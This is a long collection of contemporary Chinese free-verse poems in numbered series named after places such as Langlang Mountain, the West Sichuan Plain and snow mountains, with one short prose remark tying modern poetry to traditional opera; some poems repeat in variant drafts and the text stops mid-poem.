飞蛾在江南的中途，你衣裳单薄。 我无法去的时候那猜疑被浓烈的 好奇的兴趣包裹着，紧接着令人 像说出中饱含着一个季节的干燥。 \/ 是的，未有缺失者而它正因此， 如同窗台边悬挂着的。那挂起 来的也无法伤及分毫于它，那 繁多里面的孤独找到人们了， 我因此自始至终，这是哑然的， 嬗变本身。江南，或到江南去？ \/ 我不理解，但爱遇到了阻力。 我赞美尚且未发生的，枝头 花蕾逼迫着你。如梦的江南， 你也不理解，但是你就像一 个漂浮的花朵或者木头，焰 跳了一下，我的心计算着一切。 青白色六1879 《青白色六》 有所遗忘但于人只好的存在 那活的光芒，那太阳光，当 它在大地上面，旅程总开始 或者开始于的时候，是梦境 那人类的妥协的环视。作为 同一者，你寄来一株植物的 叶子，毛茸茸的草青草的尖 那些你无法带来的囤居着你 你有时候不是你，我被因果 束缚着，大地偶尔响起声音 来了，并且随后重复，向着 必不可免的大地像草地之海， 一样，我难以理解那些爱情， 像琐碎任性的有声音的回到 花朵里面了，并不是我所讨论！ 青白色七1880 《青白色七》 你真的离开了， 走到了树木的后面。 \/ 梦，只是你能够 看着自己，看见中 因为请而解释， 在这个整体里面，其中 从你能够开始，所向着 另外的自己。 \/ 其他的自己此时 谈论道德和爱 它们彼此融合的时候 你的心灵像一个老妖婆 为了单一总想分开一切。 青白色八1881 《青白色八》 我孤僻，你可把我丰富。 因果就这样被推了出来。 浪浪山地区一1882 《浪浪山地区一》 我注视着一根香烟 用力的注释 这无法改变什么 但它是一根香烟 浪浪山地区二1883 《浪浪山地区二》 最少的语言令 嘴唇处在黄昏。 所以提问者本身， 以消灭所表示的罪孽。 \/ 这个小地方， 常常宇宙般的讨论 几个人，夜晚 或许奔向死亡 \/ 白天不过是蒙蔽自身 称作了幸免于难。 一支烟，烟中的一根和一盒 往右一点，是往左一点 之后是酒的暗喻， 沉默里，活色生香起来。 浪浪山地区三1884 《浪浪山地区三》 在时间里面是存在和其他的词 它们因为沉默而保持沉默着，有 一股无形的力量，拉扯，挣脱。 使得这个自我的被解释，为什么 如此的困难。就像走很远，直到 要去的地方。 \/ 我只是一个失败傍晚失败的人 它们如风吹叶子，树开枝散叶 品种很多，颜色不一，渐炎热 自如，困难被我抛弃就不见了。 浪浪山地区四1885 《浪浪山地区四》 当我去思考，或者 在那些时刻里面的 时刻的内容就是 思考完成了。呵 这完成了的本身， 是否它正愁眉不展的 求助于它自身呢 就像某一个事物的影子 在现世，当准确的黄昏 由墙壁上面的一个挂钟带来。 而离去的徘徊已经太久了 那些如同波浪一般的事物 在于自身，新鲜的鸟儿， 白色的羽毛，归来的落满了 余晖的时刻。是的，或者 我也爱你，因为等待太久了 突兀的说出并不包含其他， 我们什么都不要去想了， 就像林中的果园，桃子 那一个红了，梨子在推迟了 的一个月份上面，我们的 手上的语言正是它们彼此的 摘取和一个虚假般消息的告知呢。 太阳落进了我们的怀抱里， 我们在山脚下有一个小房子 那些小树将会长大， 对于那样绿树环绕的情景 我一直在不停畅想。 浪浪山地区五1886 《浪浪山地区五》 诗都有的， 把一个阴影组成。 真的，对于 这些判断的微小， 比如，它们正是因此而来。 或者而去，否则对于这些， 阅读的离去， 如同未来一般，或者不像。 我就知道了，他们 正低头端详着河水的表面， 因为那， 更深处是他们自己 流动造成了的矛盾 那么难以的判断， 使得了未来为空， 呵，他们总是判断了出来 处于对于人类的关心上面。 而我只是从山上面走下来， 对于我而言，最深的奥秘 不过是来路已经在消失， 人们，大爷大妈，男女老少 叽叽喳喳把一个因果变没。 消逝竟在此刻当中存在着， 树叶在春风里面摇摆不定， 气候温暖，一本书中的一 段观点，我从脑海里面， 把它们，那些大西洋，太平洋 理性主义者们的参天大树审视。 川西平原地区一1887 《川西平原地区一》 世界的历史就是 它所是，人如此的懒惰， 答案像我们嘴唇里面。 像某种事物因此是事物 在风景里面抗拒着 仿佛那些本属于它们自己 任何的话语都迷惑着一个 叫做自己的东西， 我走过田野，固执的石头 静止不动。 川西平原地区二1888 《川西平原地区二》 转动中若有多，则稀少于其上。 是同样子的一个事物，因果。 或者是被这一张脸庞看透了， 它左右摇头，在身体的静立上方。 而在于其下仿佛是其他的东西， 仿佛是手表，在言辞的询问中 对于回答的描述。但永不可以 以本身作为一个个的前提，你 永不可以带着同样的青春记忆 几公里之外，山脚下镇子居住。 那些询问也是夜娥，否则无话 可问，你们是一对缠绵的夫妻 彼此在夜间穿过了彼此的身体。 川西平原地区三1889 《川西平原地区三》 我想要去。因此，那位置 由于石头般的普遍性 而引起了必然。引起了 火焰在石头里面熄灭，在 将个扑灭交给人的场景中， 我到来了。那些等待着的， 被误解一般的沧桑。那个句号 所结束了的傍晚。呵，那个矛盾 那个真正的良宵在于远人。 所以，你总是在于这里的并不安全。 你总是因为因果里面的幸福的存在， 而被盯着的。紧紧的，被一个 村庄，呵，一个个的人的轮替， 形成你日常当中庸俗的放弃 和远行。 川西平原地区四1890 《川西平原地区四》 这固定不变如此地一般， 我想风中去。风中离开。 到达的乐音因而由石头般 普遍引起了它的必然。引起 了火焰在石头里面熄灭，在 将个扑灭交给人的场景中， 我到来了。那些等待着的， 被误解一般的沧桑。那个句号 所结束了的傍晚。呵，那个矛盾 那个真正的良宵在于远人。 所以，你总是在于这里的并不安全。 你总是因为因果里面的幸福的存在， 而被盯着的。紧紧的，被一个 村庄，呵，一个个的人的轮替， 形成你日常当中庸俗的放弃 和远行。 川西平原地区五1891 《川西平原地区五》 声音告知时我脚步绵延 它只能留在了出发地。 \/ 这里是石头般赤裸的地区， 我一次次向往那些白色的海鸥。 离开了，某个日期被固定在墙上。 \/ 我热爱残缺是否能让你完整， 你是我身上的脱离之物。 你曾经根本不属于谁， 谁呢，久远的自我陌生起来， 我的嘴唇正靠近着饮料。 川西平原地区六1892 《川西平原地区六》 在山上，在重复于你自身 你只是石头，如此的普遍 在你等不来的包括了风 它被树枝挽救，蜿蜒的 山谷，并非总一帆风顺。 川西平原地区七1893 《川西平原地区七》 语言之中的它们 并不是别的或者 艰难之中对于那 自我指向的描述。 未有完成的一切 对于匆匆结束的期待 这些放弃从我而处 我看到了，树木中 新绿漫山遍野，鼻子里面 嗅到了眼睛所看不到的 脑海里面，隐藏这个词语 是的，我是整个的人类 是将一颗果实指向的微小。 等度过了一条河流，河边的 朝圣般庄重的意义的丧失， 在那另外的一侧，对于这一侧 饮食和食用一般畅想的时候。 川西平原地区七1894 《川西平原地区七》 语言之中的它们， 并不是别的，或者 艰难之中对于那 自我指向的描述。 未有完成的一切， 对于匆匆结束的期待， 这些放弃从我而处。 我看到了，树木中 新绿漫山遍野，鼻子里面 嗅到了眼睛所看不到的。 脑海里面，“隐藏”这词语一个。 是的，我是整个的人类 是将一颗果实指向的微小。 等度过了一条河流，河边的 朝圣般庄重的意义的丧失， 在那另外的一侧，对于这一侧 饮食和食用一般畅想的时候。 川西平原地区八1895 《川西平原地区八》 海和事物， 或者和其他，直到 事物有所消弭。 \/ 而人类的罪孽在于 将它比喻，这些比喻 本身并不褪色，消减分毫。 \/ 在大海边，我们要建 一个新的棕褐色火车站。 走在早晨，大海 天蒙蒙亮，以为它 沉入了黑夜的人们 像那些存在主义者们的垂思。 川西平原地区九1896 《川西平原地区九》 语言重复着， 像风里的一棵树。 风这样被指向， 最开始它从起点出发。 \/ 一开始你嘴唇里面的， 为我所关注。 像一件礼物，给了我 从你那里，到我这里。 \/ 远方的风像存在于尺度广阔， 而靠近着我们的随时都可以离开。 我们选择做一个蒙昧之人， 是有时候提问者本人， 知道真相，内心悲戚。 川西平原地区十1897 《川西平原地区十》 残缺的是什么， 是的，是个没有结果的回答。 ——就像我们始终携带某物， 等待着那些它们并不将我们 指向的时刻。起初，我们和 我，或者我就是我们了。都 以为那是石头后面，与傍晚 天边的火烧云一起，组成了 某一种神秘，之后的历程几乎 可以用神秘的难以言喻于我的 嘴唇，来表示。比如你在水的 岸边，我无法说出来的你翘首 期待。人类的悲观就在一下子 突然的闪现，傍晚的太阳光闪亮。 我漫步，在大地上像一个蝴蝶， 无形的风中偶有羊群传来羊声， 我思索着，一个问题，别人没有。 川西平原地区十一1898 《川西平原地区十一》 我们寻找一番后还没有离开， 谁能说我们路过的事物，它们 就真的原地停留，并且因此 才将隐秘的行动暗含，表达。 \/ 我怀疑一切表达，端着的脸庞 从水里面，水花一般的脱离。 两种事物之间的恒久关联， 直到它们残破，衰弱，融于自然。 \/ 最后为自我所做的属于哀歌， 仿佛它会因为我的无法想起 而有所残缺属于了它，它仍旧 为我的徒劳思索递出来什么。 \/ 并且最后的无有如太阳般， 像河水波光粼粼的水平面 一阵风，岸边槐树叶摆动， 对于远处的一个人而言， 我递出他还没有阅读的 他正做着自己认为欢乐的事情。 川西平原地区十二1899 《川西平原地区十二》 为什么已倍感厌倦，但不是 对于厌倦感觉的反问和辩驳。 语言的终点在自己的内部藏起， 像我们的垂立在身体一侧的手。 \/ 我离开后，那个树还在。它是槐。 是风，之后语言和声音中沉默的部分 这是历史，但历史的更倾向在了有形 而保持不变了。其他的地方时时刻刻 防御着我对于它们的言说，语言防御着 我的，在我的嘴唇里面，陌生人是真陌生。 \/ 树木从树木的身体表面，方向 调转，深入它空无不可见之中 还是深入了它调转方向的活动本身。 \/ 而身体在人类这里一直是一个起点。 是一个冲着意外期盼所没有发生的事情。 伟大的智者穿着朴素的衣服，吃着 粗茶淡饭，住着破旧的房子，比我 自己的生活更落魄不堪。我面前是 清澈的河水，我会把这一切告诉他。 川西平原地区十二1900 《川西平原地区十二》 为什么已倍感厌倦，但不是 对于厌倦感觉的反问和辩驳。 语言的终点在自己的内部藏起， 像我们的垂立在身体一侧的手。 \/ 我离开后，那个树还在。它是槐。 是风，之后语言和声音中沉默的部分 这是历史，但历史的更倾向在了有形 而保持不变了。其他的地方时时刻刻 防御着我对于它们的言说，语言防御着 我的，在我的嘴唇里面，陌生人是真陌生。 \/ 树木从树木的身体表面，方向 调转，深入它空无不可见之中 还是深入了它调转方向的活动本身。 \/ 而身体在人类这里一直是一个起点。 是一个冲着意外期盼所没有发生的事情。 伟大的智者穿着朴素的衣服，吃着 粗茶淡饭，住着破旧的房子，比我 自己的生活更落魄不堪。我面前是 清澈的河水，我会把这一切告诉他吗？ 雪山一1901 《雪山一》 尺子在一个具体中， 场景一般， 它更加的不安宁于测量。 \/ 我量自己， 对着一棵树木。 我已经因此 而有所收获。 \/ 我已经因此， 而在接下来的想要丢弃中 自我挽留着。 \/ 手在空气里面 我感到乏力， 想要吃饭， 却选择了倒头， 继续睡的舟楫。 雪山二1902 《雪山二》 问题消弭之后， 河边有一只小鸟， 鸟儿的旁边是什么呢。 \/ 问题本身 跟一条蛇一样。 \/ 河边的树上有一只鸟， 鸟儿旁边的随着它振翅离开 向这里本身是困难的。 雪山三1903 《雪山三》 一个问题消失，一棵树还留在原地。 一棵树就把一个方向拥有，无论 它是否因为人的瞬息而被遗忘，那 遗忘并不是主体，主体一般提问的 方式。对于回答的无果，即使多次的 自我提醒，那种颓然的经验已经多次 积累。而我多么的想要证明东西，是 清新、庸俗。是同一个东西，是人， 罪孽里面最后的妥协，并且在语言的 可以说话里面，树下的罪恶感，和我的 说出来。 雪山四1904 《雪山四》 一棵树，是一棵被我的 语言拉拉扯扯的树 在一醉方休里面的酒 如果对未来踌躇不决 树被摇晃，摇晃它那 对我庸俗描述的晃动。 我在这里，一会就离开 去一个有话语，语言 在说里面，真的，过去的 历史使得了你不再被我所 等到。而天地之间尽是 翻书的声音，查找的工作 早晨起床，推开了窗户 世界蔓延——万物把夜晚等待。 雪山五1905 《雪山五》 在傍晚的一件事情的附近 不远处，但使得了我 作为了那一个时时刻刻的提防 \/ 这只是自我这种普遍性意义 的广阔和损耗，像人类这样，那样。 \/ 像镜子通过了树木在水里面 而不是深入其中而以人的方式。 \/ 当动物饮水于湖，那个抵达之物 正慢慢的丰满，之后，那可以被畅想 \/ 者的与我有关。而现实当中， 天气预报一般的没有乌云中的惊雷。 \/ 过去的时日我多次来过这里， 途径一条小路，如今快要被春草掩埋。 雪山六1906 《雪山六》 城市被颠倒为了 勾引着你的， 哪一个没有回答便是它。 它的那对于无和空 当它在空无里面描述了它。 之后它从高处走了下来， 沿着台阶，穿过随太阳 出来而慢慢在消散的雾气 如果没有的时候，那些 平整的洼地，被祖先们找到 盖起了房子，一座又一座 之后铁路穿城而过，伟大的 叙事性文学关注着每一个人。 它从自身分出如叶子般的叶片 给予了我，并且听我把这一切讲完。 雪山七1907 《雪山七》 这里和那里所指的 庭院外。那不可说多长久。 从一开始我就习惯了， 唯一不可问是我是什么。 仿佛宇宙通过一个问题引出， 而人并没有做好什么准备。 人甚至不如那些窗外的树叶， 在秋天，它们飒飒落下。 风停下后院子里面金黄一片。 有时候我在窗边思考着什么 与很多东西同在一个地方 它们容忍我的思绪漫游 我真的像一个漫游者， 中世纪的唐吉可德， 我的院门打开着。 雪山八1908 《雪山八》 这里和那里的所指，是 庭院外。正因此声音响起 这是一个温馨的小院子。 \/ 今夜，我的思索再次留宿 月亮高挂，像一个恍然的古代。 屋主人已经入睡了，西厢房 他让我住在东厢房。 \/ 明天我还要赶路去很远的地方， 不知道会是怎样的一个情形 如果没有这样善良的老夫妻， 可能明天晚上我会露宿荒野吧。 雪山九1909 《雪山九》 借群山固定不动，和它丢失于 对于我的修补的时候。 \/ 这些完整，整体，对于此的叙述 我的身边春日风和煦的吹着。 \/ 我已经完成了此，并且准备着 我渴望着，这并不是一件过去式。 \/ 我们都处在一个巨大的回答上面 而它将自己如此平凡的呈现出来。 \/ 它因为回去和折返以及沉默，语言 中犹如系统性一般的文字世界。 \/ 解释等同于对于一朵稚嫩花朵的解释 那理解的道路从远方来，途径了河流。 \/ 你把这一切告诉我，尽管我并不合格 内心并不感到愧疚，我谛听着如同教诲 \/ 世界还是有很多很多的秘事物如同一个 秘密，像这样对话的情况，它随意的漫游。 雪山十1910 《雪山十》 你坐着，像从某高处 始终保持着它，不是它 下来的是谁， 多么明确的 是问不是回答。 我往窗外的傍晚 偷偷的看了一眼。 太阳是热的， 但傍晚的田野凉爽。 没有一种对比， 那我们为什么追求它。 雪山十一1911 《雪山十一》 世界像一把榆木椅子，已经 延伸和做成，对那些声音而言。 它还在不断的以沉默与静止的 形式延伸，就已经是别的了。 榆树的孤独把自己向天空伸展， 就像我的孤独里面的错从截然 相反而来，人的劝慰是人类的 劝慰，世界之夜正在将这一个 整体昭示着。如此的具体，鲜活 于因为对于此的离去而得子如此。 呵，我想对你于语言之中的言说 就当它如它本身的现实般闪亮时。 起身1912 《起身》 起身，我可以走向电风扇， 使得它成为与门外的夜色 相互对立的事物。极其浅薄 于空间位置上面的远 在拉开之中，如同有一种空虚。 那么，接下来我需要小心谨慎， 一言不发。并且集中精力于仿佛 正有一种奇迹，在我的眼前发生， 装填和填充，随后积蓄，相比于 那之后会发生的，极其自然的语言 现在，它的基础在于移动，于人而言 在于一次事实上虚假的梦幻。 雪山十二1913 《雪山十二》 你看，无论你是否因为 夜晚而沉睡与否，你看。 因为人的存在，就像 所有随口而出的轻易和 \/ 简单，因此是无风里面 :它是那源泉和上游 而它们，在那个风儿吹拂 着的下游。梯田和平原。 \/ 众多的事物如同玻璃碎片， 通过了人类的这种投影 仿佛正去往一个地方。 我坐在客车上，一个平凡人 内心的心脏跳动着，做一些 思索，并且如海潮一般在 它们退回去的时候。 雪山十三1914 《雪山十三》 月光是一位含蓄美丽的母亲。 而并不仅只是——光泽辉映 当光明的将自身照射为瘦削。 \/ 所以，草木一般我伴侣正走向， 那通往虚幻当中，我泽质疑着。 一个目光本质于回答的无疑上， 我看见了，眼睛带着逝去的光泽， 人类的眼睛和脑海制造起来迷雾， 如同一句话明明由我来说出，却 仿佛是水鸟贴着柔软的水面带来。 \/ 她们或许到达了我的嘴唇， 我清洁而素馨的白色牙齿。 我在水波荡漾中看到了它， 幼小，延伸着世界之谜团。 我自我的单独离开，像很多 事物以离开的方式正靠近你。 雪山十四1915 《雪山十四》 月光是一位含蓄美丽的母亲。 我的不情愿正在消散，它们 微弱的自身正悄悄制造存在。 我可能会过一会就离开，并 留下一封信件。我想告诉你 不远处花圃，我要去那里。 那里有你曾经待过的讯息。 像某一种曲线之美的足迹， 最初的凌乱被同样自我性的 风抹平，土壤随着春雨潮湿 像另外一块蓝天，但在语言 当中被粗糙，肮脏般最初描述。 呵，所有的话语的没有说完 跟我的聆听地没有太多的耐心 并且你与我都共同的做的事情， 不仅仅只是那些停留太久的饮食。 或者仅仅是此，语言在这里聚集 我们的唇瓣并不亲吻，我们喝水 玻璃杯替代了古代的高脚杯，我们 当代的身躯里面装着一个古代。 古代像远处的丘陵一般起伏， 一个青壮男人为了回家见妻子 而翻山越岭。 雪山十五1916 《雪山十五》 在一个新问题丛生的时候 一个陈旧的仍旧存在，像 它自己，那么它自己像什么。 但寂静是真的，我在窗户内 沉睡，像一条鱼儿在水中。 现实由这两方面拼凑而成， 它也排除了的那些隶属于 并不是十分需要，而且那是 它的忍耐与宽容:它期待着， 而你略带着期待的口吻追问。 你有时候像那个越过人群之后 的最孤立者。在我的眼睛里面 像随风摇摆的花影将眼睛之湖 暗示。呵，你那么温柔，我已经 无话可说但内心依然更加期待。 我感觉那是你，本质一般在风中 或者不是，你这么困难的你，拖起 了自己的美丽外貌，放在我的思绪上。 戏曲是现代诗的本质1917 所谓中国人的长诗，更多是将长诗是戏曲的真相暴露出来。进而，反过来说，现代诗是脱胎于戏曲而不是古代诗歌。更进一步说，即【戏曲】是汉族人古代史，现代史的同一的人文内核。 陌生的镇子一1918 《陌生的镇子一》 是的了，可以去，去而很远。 哑巴丢下了语言变成某种空， 和本质与事先就拥有。每当 对于此的肇事者正在黑暗里。 \/ 更加慢下来的慢像是事物之困。 我无法不渴求，即使那结果的 不可预测性。故乡的群山覆盖 在我的心灵深处，它的影子有 一个因为思讨和见证而神秘莫测。 \/ 众多事物当都寄托于某一物 这样它们显现自身，就像天空 ——这更大的范围的延展，以 及明亮刺眼当中的太阳之居所， 以及月亮——它像是一个为何 如此暗淡，温柔的问题呢。 \/ 当它们如此的呈现如共同的 如一个隐秘，我的语言迷路 我正走向傍晚的树林，在公路 两侧，它们的影子徐徐分开， 树木，事物别无他求。而声音 因此被聆听，在离去如逝的匆忙 中到达了它们的顶点，呵 暮色为人的沉睡而坐，那忽视者 其往往与美丽，大地之梦的有关系。 陌生之镇二1919 《陌生之镇二》 它们是人凌乱的原因。 仿佛一双手臂，为云 下受到律法般的约束。 如果自由这样被赐予， 与历史相距于生命上 漫长对于脆弱的关系 相互呼应。而且在此刻 这变化着向这的汹涌 和平静，仿佛尚且没有 到达的，而到达的已然 再不相同了。落日浑圆， 牧童挥鞭，催促着河水。 陌生之镇二1920 《陌生之镇二》 存在的雾气会诞生什么， 它们，是人凌乱的原因。 仿佛手臂与双脚，为云 下受到律法一般的约束。 \/ 如果自由这样被赐予， 与历史相距于生命上 漫长对于脆弱的关系 相互呼应。律法来自于 此，我们的熟悉需要一个 漫长的过程和生命必然 的损耗。 \/ 以及那些丢失了的， 当中不期而遇存在着。 而在此刻，向这里的汹涌 和平静，仿佛尚且没有 到达的事物，而到达的 已经因此受到了催动和驱使。 落日浑圆牧童挥鞭河波荡漾。 陌生之镇三1920 《陌生之镇三》 事物次顺序一般破碎的仍旧同一。 同一个，仍旧是我因此犹豫不决。 仿佛我正有所面对，傍晚时分， 而这已经是我想要去最远的抵达。 所以，语言的世界在现实里矛盾着。 却不是什么差异与不同的正确论断。 人们在花丛间驻足，过了一会是桃树。 他们为美而感叹，而心醉，赏心悦目。 自然的生命将美的范畴延伸和拓展着， 我从那里离开而在我身后，他们还在。 我所能想起的，遗忘存在于其中 它正准备着自己遗忘的或形象上面 那因此而朦胧的那一部分。这人类的 标签，当我被告知这些绝对的无人 一个被带来了的空无结果里面的朦胧 本身的清晰。我能有所想起般的行动着 趴在窗台边，几声鸟叫，窗外一条小路。 陌生之镇四1921 《陌生之镇四》 永恒的往往已被问题化了， 直到它的停止是最后之物 以及那些语言，即使由人 和人们的说出里面的普遍性 ————于是，整个被指向的 是世界携带着困倦和疑问的 本身不成，如同我的眉毛 挑动了山峦之线条，而面前 西湖水将远与近的历史矛盾 般展现出来了。而未有完成 这一切对于微小生命的恩赐 它依然还在持续，直到同样的 一个，也还是远古的那同一 里面的一个，那黑色的夜晚 和浪漫之夜的最初之名，为此 我回想这沿湖水而湛蓝色的 蜿蜒曲折，为丢失而于本身者 像那个提出来问题者，他带着 温柔和缠绵而一切，也因为 像最初同样的温柔而使得了 遗忘发生。呵，你的命运。 陌生之镇五1922 《陌生之镇五》 如果不能够去解释，是它 将自身和自身的所包含都 掩埋，如果还会有流溢者， 以不能够的方式。循环。 \/ 所以，人是一个到来的事物。 并且期盼着结束却并没结束。 人是一个不会被厌倦的温暖， 它的停止是一团雾气的形象。 除非那被温暖者始终不说出 :我们的肢体动作丰富在自我 的丰富表达上面。比如空间， \/ 我看到了某一个灯下的人， 像某一个沉默罪F的影子。 我联想，却已经脱离的具体。 如同那些固定不变方法论般 的声讨。其实事实确是如此， 比如，你需要活下去，而草木 春天会绿色一般。很多事物 的并不单一，共同来推动了 一个无源之水从山草中汇聚。 \/ 随后，我爱，只爱着星空和 夜晚的单一，因为命运在其中 石头也在其中，我没有说完的 话语碰到的坚硬之物。 陌生之镇六1923 《陌生之镇六》 明亮洪流复杂的已经 不再的复杂，当我在于 其中。那些不可挪移， 或者那些河岸的具体。 \/ 直到它们正抵达了那些， 它们早已经抵达的重复 之欢。我的说出其他的 嘴唇，但是我的心灵为 忧愁所袭扰了。我认识 那个人，他叫做我自己。 \/ 他不是别人，但语言却 并不相同，语言修补着 :我不相信那些流逝之物， 是我思的那种自Y，随意 像舌头上一条湿漉漉的鱼， 当我思索它们，它有个名字。 陌生之镇七1924 《陌生之镇七》 诗歌将空白提到， 犹如同样的但没有真正完结。 仿佛我们的讨论于无用功上， 或者正想真正的突破某样事物。 某个石头，而不是柔软的水流 它太容易服软了，犹如白天的 惨淡。犹如一张张脸庞，因为 世间这个叫做了间接性的神秘 我们居住在水的不远处，一次次 的自我见证，自我逃离和最终 的回答的仿佛没有给出回应的模样。 犹如人的前面和背后，犹如世界 是我用来撒气和宣泄的场所 一个垃圾场何尝不意味着新的清理 我只需要忍耐过这个喧嚣的自我有关。 一个石头之夜，无聊的我弹奏明日歌。 垂下于梦的不是我，那伟大，那我之 让w于其他，我在自我中寻找，并且 为了丰富性而用耳朵倾听，对于声音 之搜集。 陌生之镇八1925 《陌生之镇八》 两个事物之中的那静止不动者， 被指向而这一个的单一的困难。 多瞬息以至短暂逻辑里被吐露者。 如同莫名其妙的歌曲需要被历经 否则我们喜悦的脸庞是一种虚像。 否则世界万物哪怕每每被提及了 以至于永远的如同墙壁上与书的 共鸣，并且是在可以被寻找到了 上面，留下了踪迹。因此你一直 不得不去做些什么，你在做之中 你的语言丢失了美丽的裙摆，但 春日的流水依然把青草吹拂。我 因离开而成为了别的，离开者那 之远在固定不变上面的问题，困 扰着你和我。如果我们都认同了 我们都是平庸之辈，为泛泛之人 生而纵情饮酒，停留于事物的表面 因此才可以去给事物命名，绝对的 真理在于对稀少牢牢的抓住，不能 够遗忘，直到遗忘将称之为我的 事物给带来，这样，内部为我的事物 外部和表面光泽流溢，作为可以被 称呼者，倾向于生活的平淡与日常， 因此它被说出而被擦肩而过，带走了 遗忘者会再次神秘的将它回想起来 一个非人之物托举着生命，你与我 因为相见而构建起来了的亲密关系 在彼此的冷漠当中甩出来:当我们 在无知某一种更深处的时候。 陌生之镇九1926 《陌生之镇九》 她抬起了头，远方投入视野。 她为不变和固定准备着歌曲， 有投入个不可言说者的突然， 因而是具体和确定，含义确定。 当她，以自己女子柔软里面的 沉默不语，仿佛正面对着一个 男子最终离去的讯息和背影。 在同样的一条道路上面，或许 原因是于它自己的曲折上和那 悠长，是人等待的本身与焦虑。 而她难免忽视那些其他的繁多 和丰富。仿佛整个的世界分明就 躲藏起来了。如此的具体而仅仅 只是以躲藏而在的方式。在某地 或者因为嘴唇和嘴唇并不允诺。 那亲吻的春风和诗歌当中的唇， 以及同一个男人和他因此难免 辛苦。我联想了一个世界之于 女人的关系，并且在这条街上 她自己以极其的简单存在着。 天空，历史的目光交错的寓所 当它真的有那么短暂的一瞬间， 它被它那相关的原因所吸引， 那空着的，女人的，结束了的 一条马路熙熙攘攘，夜间平静。 陌生之镇十1927 《陌生之镇十》 世界像一条大马路，我因此 将它本质的马路之是忽略。 就像我因此正滑向别处了， 一棵树。因此在那里名字般 蝉变。在对于人滑落的短瞬 当中沦陷。呵，单一的名字的 多样性。其实只是语言说出了 它，语言无法说出其他，这种 情形，带给了我矛盾，作为一个 不去思索者，而那说出者本人以 感觉的先天的突兀而更加的矛盾着。 陌生之镇十一1928 《陌生之镇十一》 我们迷路，之后又通过 破坏一段话语而慢慢的 走出。甚至还想要折返， 如果那只是个停留心中 的幻象，指示着过去式般的 真与假。如果我们的折返的含义， 以及因此作为被讨论对象的浮现 这一个主题。当它正欲隐身而去。 它听到了通过我们心灵而它的 自我之声:如果我们真的折返了 并不把它说出，在此充分的准备。 你与我就是幸福的一切和源泉 即使未来有着很多的不确定性 我已经收获良多，一路上会把 它们告诉给你，特别是在我们 遇到了困难，险阻的时候。我爱 你葱白色的手。 陌生之镇十二1929 《陌生之镇十二》 如果太容易而迷失掉了，直到像它 自身的其中一个停止之处。而那些 语言还在迷惑着我，我也内心期盼着 真。而真，因此而不过是语言在转述， 和重复之中仿佛也迷路了。如今，我 最后想要询问，甚至是对着那无人的盆地 和空谷，如同期待着人放入了其中的一切 当人使得了如此并且远离，并且是投身 远离于虚无如同那一片树叶被带走了。 以偶然的方式，放在口袋里面，来自 这一片空谷和盆地。作为最终的回答的 最开始的地方，或者原本隶属于开始的 回答的那最终的形式，而绝非像是一种 要求和诉求，要求着人类，人只是应该 靠近那些树叶，回答与否，沉默与否 ————树叶，最终这停止了的人之幻象 仿佛它的开始，在于此刻而一同忽远忽近 的发生。 陌生之镇十三1930 《陌生之镇十三》 那些水的淹没，而并非是那些水。 我准备着，比如钓鱼。为不熟悉的， 相比那咬饵料者的众多是与与它那每次。 这是时间的刻度，因为在了水里面而无形。 但却依然走动，是的。确认也是走动，包括 阴影中的山川，走路一边人喘着大气。 我发现它们损坏，并且是从它，和一个 渔具开始了它。我看到了空气中的鱼儿。 鱼儿带着突然的负伤，为另外一种事物 而颠倒，扭动，反转。空中的掉了下来。 因为它们曾经是是不在空中存在，生活的。 存在之河一1931 《存在之河一》 什么都没有发生， 而我已经确知了。 它们在我的内心之心 以心的方式束缚着我们。 除非它们压根不存在 除非存在的视野为人 们所达成了某一种共识 : 就在于我们赶来后团聚当中 你看到了我，我看到你了。 也是这，语言般团结被自称。 存在仅仅只是目光所及之处。 我们带着人类的世界的放松 来回的走动，在虚无当中或者 不再。我会寄出一封信件，告诉 你，我在某一个巴山夜雨之地 而你是一位姑娘，久未谋面的妻。 存在之河二1932 《存在之河二》 我的愿望可以被不断的挪移， 就像它碰到的边界是你的愿望。 ————事情话语一般的不会更多 我的期待着的内心，有时候期待着少。 这把你完全可以跟我更加的亲密暗示 遵从于这样子一个古老的哲理和经验 除非故人重逢，那些被提到的柳叶摇动 我们从山峦之高在内心的继续那里走下 我们来到了这里，一个只有你我的村庄。 我们已经在改变，为了那恒久。恒久， 因此是它，将一切都涵盖，包括我们的心。 脆弱的嘴里面被口腔温润的水晶之夜。我 起身，像时钟里面的下一刻。走到了窗边。 最为垂思者对着夜晚的，像事物相比柳树 更像是我自己，我带着某种这样的形式之 美的丰富性，一步一步的走向语言遗忘之后 的你，人儿，宇宙的脸颊，因为蜡烛而红润 亲切的名字，超过了它们。在伟大哲理的空间 我希望它们拜服于你，即使你是情爱的，但 每时每刻的那涉及思绪的每时每刻。和每一刻。 存在之河三1933 《存在之河三》 我为了一次见证，目睹。 即使我常是无人为我者。 而将这些隶属于我的准备， 再次的隶属于般的隶属他人。 别人，或者一个真实的他人。 他在入夜后独自一人走夜路， 他想要因为夜晚带来的丰富性 而到达这里。而我只不过1那个 更早到来的人，对于同一种结果 我不知道是否还有其他的可能呢 那些像奥秘和这里的，那些或者 只是单纯从于绝对而虚无一般的 折返，那例外便蒙尘般成为可能。 而因此事先者为故，我灰头土脸 准备之物也因为这一次遐思而多。 我想要将只是文字和语言的，仅 只是它们自己了。这普普通通，这 钟表的老旧，你还在赶来因而身影 模糊消散之路上，为一个我现在 看到的悲观的结果而在做着改变的 途中，呵，你这个人，莫须有，却因为 我把自己准则和良知，放在你那里的 恒定而产生关系。呵，独自一人的房间。 存在之河四1934 《存在之河四》 一物的走而动仅为提防自己， 如果静止的感叹原因于突然。 如果马路不够平坦，但需要向 一个自我介绍的其他人。 \/ 没有具体的位置，像天上的 雪花落向街道，店铺和小区。 \/ w有之乡早已入梦的不醒了。 我的胡思乱想并不隐秘的在 呈现，一种最质朴的方法论。 \/ 盲人摸象只是摸到曹植称象， 湿润全部的比喻，只是对人 说的，这是它的那特q，人q。 \/ 事物之迷思为我所不顾及的存在， 也在于我手插兜想吃过饭后走走。 消化消化，上d种花，白天到上头了 这不是什么，但在它是我思之影时。 存在之河五1935 《存在之河五》 沉默可以以物的形式犹豫斟酌， 当它有一部分已经因此走入了 我的内心。为空洞而哀歌之物， 并不是别人，那些失望之人， 像我一样的那些对事物麻木之人。 \/ 面对事物让我将一无所获， 我的一无所获将面对着它。 彼此的这碰撞或者它的更多， 超出而以名的单一和内容虚无。 \/ 如果作为一个实体，当实体的 存在一直是将岁月和时光暗示。 而那是一个地方，我们的平凡的 栖居以及那些太阳闪光般偶尔的 思，并自我湮灭以一个回答的方式。 \/ 直到那坐在山坡石头上，或者这 